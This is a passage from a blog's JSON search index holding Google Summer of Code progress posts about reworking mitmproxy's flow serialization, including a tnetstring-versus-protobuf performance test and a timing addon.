am approaching this \u0026ldquo;testing\u0026rdquo; period is truly helping me shaping ideas about how I will implement all the rest. The next points will be:\nImplement lighter INSERTs to disk, grouping many of them in single transactions. Explore asyncio concurrency, to make use of time \u0026ldquo;wasted\u0026rdquo; in disk I/O. Improve what is implemented, fashioning less dummy code. Til next week! Enjoy :)\n","date":"23 May 2018","externalUrl":null,"permalink":"/posts/2018-05-23-week2-gsoc/","section":"Experiments","summary":"Week 2 of hacking at mitmproxy with the Google Summer of Code","title":"GSoC week 2 - The quest for performances","type":"posts"},{"content":"Hello, folks. PyCharm is fueled, brain is spinning, and I\u0026rsquo;m beginning to really set the stage for my coding period at Mitmproxy. In the following weeks, I\u0026rsquo;ve worked to refine my proposal, and it\u0026rsquo;s time to put up a show :)\n0x10-\u0026gt; A warm dive into Mitmproxy dumps # So, let\u0026rsquo;s start with the basics. My job in Mitmproxy, for this summer, is to revamp and overhaul the serialization and indexing flow, following the tide of openness and modularity that mitmproxy is riding on. Remember to check my proposal at GSoC proposal for more informations about that\u0026hellip;now, let\u0026rsquo;s hack into the io module!\n0x11-\u0026gt; Basic units # \u0026quot; in the beginning was the Flow [\u0026hellip;] \u0026ldquo;\nQuote from the docs:\n\u0026quot;\u0026quot;\u0026quot; A Flow is a collection of objects representing a single transaction. This class is usually subclassed for each protocol, e.g. HTTPFlow. \u0026quot;\u0026quot;\u0026quot; What does this mean? So, say I am connecting to lolcats. Now, dumping the value of Flow objects, respectively for requests and response, we get:\nHTTPFlow on request:\n\u0026lt;HTTPFlow request = Request(GET lolcats.com:80/) client_conn = \u0026lt;ClientConnection: 127.0.0.1:50841\u0026gt; server_conn = \u0026lt;ServerConnection: \u0026lt;no address\u0026gt;\u0026gt;\u0026gt; Same HTTPFlow, updated on response:\n\u0026lt;HTTPFlow request = Request(GET lolcats.com:80/) response = Response(301 Moved Permanently, text/html, 184b) client_conn = \u0026lt;ClientConnection: 127.0.0.1:50841\u0026gt; server_conn = \u0026lt;ServerConnection: lolcats.com:80\u0026gt;\u0026gt; Actually, there\u0026rsquo;s a lot more stuff into those objects, and you can find out by yourself with a little debugging effort! :)\n0x12-\u0026gt; tnetstring dumps # So, let\u0026rsquo;s say I want to replay some requests I forwarded to lolcats. Maybe I need to reproduce the exact sequence of requests, since all those cats make a nice figure on my laptop, or whatever. Mitmproxy currently employs a customized version of tnetstrings to save its captures. Dumps and loads are wrapped by the FlowReader and FlowWriter classes. The former, in particular, handles the conversions between different versions of flows (coming from ancient captures) and the current blueprint.\nA slice of our tnetstring looks like this:\n4:host;11:lolcats.com,}6:marked;5:false!2:id;36:4515de36-9f3f-4d1e-8162-f73e879 d639c;8:response;578:11:status_code;3:301#6:reason;17:Moved Permanently,\nGot the structure, eh?\n0x20-\u0026gt; Moving to protobufs (testing) # Well, that said, let\u0026rsquo;s build the skeleton of the task. Moving to protocol buffers require some prep work, and the very first thing I need to assure is that the change in performance is good enough to justify the shift.\nThe testing process will be so conducted: we will test both tnetstrings and python protobuf serializer.\n0x21-\u0026gt; HTTP Response format # To serve our testing purpose, I will use a simple message \u0026ndash;\u0026gt; HTTPResponse.\nAs I am interested in testing performances, what can really drive me tired is the content. How our protobuf algorithm would handle messages of 4, 10, 50 MB? At this point, I just defined a simple schema:\nmessage HTTPResponse { message HTTPRequest { enum HTTPMethod { GET = 0; PUT = 1; POST = 2; } required HTTPMethod method = 1; required string host = 2; optional int32 port = 3; optional string path = 4; } required HTTPRequest request = 1; required int32 status_code = 2; optional bytes content = 3; } Each HTTPResponse simply contains an HTTPRequest, a content, and other fields. This is just to test protocol buffer, so I called this message \u0026ldquo;dummy_http\u0026rdquo;.\n0x22-\u0026gt; Protobuf implementation # Next thing, I had to generate the metaclass generator code for protobuf, which is unique to the python implementation. More at:\nhttps://developers.google.com/protocol-buffers/docs/pythontutorial\nSo, at this point, to finish my dummy protobuf module, I only needed to define a dumps and loads, so to start comparisons with the current tnetstring module. The code is really simple there, you can just find out by yourself looking at my repo (I\u0026rsquo;ll post the link at the end of the post).\n0x30-\u0026gt; DumpWatcher Addon # Everything is set to begin the test: a message definition is there, together with some piece of code to extract flow.get_state() dictionary into a suitable structure.\nThe DumpWatcher addon I developed to test code, does basically this:\nWhen the proxy is running, it invokes running() event on every addon; at that point, DumpWatcher applies a watcher decorator to every dumps and loads function, of every imported serialization module. When a response is received by the proxy, the specific response() event is invoked, passing the flow to the addon. At that point, if the switch option has been set to true by the user, it runs dumps and loads to the flow. Every decorated function perform its deeds, and prints to event log performance informations! (time, size of blob) This is obviously a beta implementation, it still needs many commodities and features \u0026ndash; and I still have to put SQLiteDB inside that mess \u0026ndash; yet this is a good way to inspect how the protobuf python implementation performs with our objects!\nThat\u0026rsquo;s all, fellows! I\u0026rsquo;ll be posting more as soon there\u0026rsquo;s more on my workspace :)\nCODE DISCUSSED\nTil next time! # ","date":"15 May 2018","externalUrl":null,"permalink":"/posts/2018-05-15-week1-gsoc/","section":"Experiments","summary":"Week 1 of hacking at mitmproxy with the Google Summer of Code","title":"GSoC week 1 - Staging","type":"posts"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]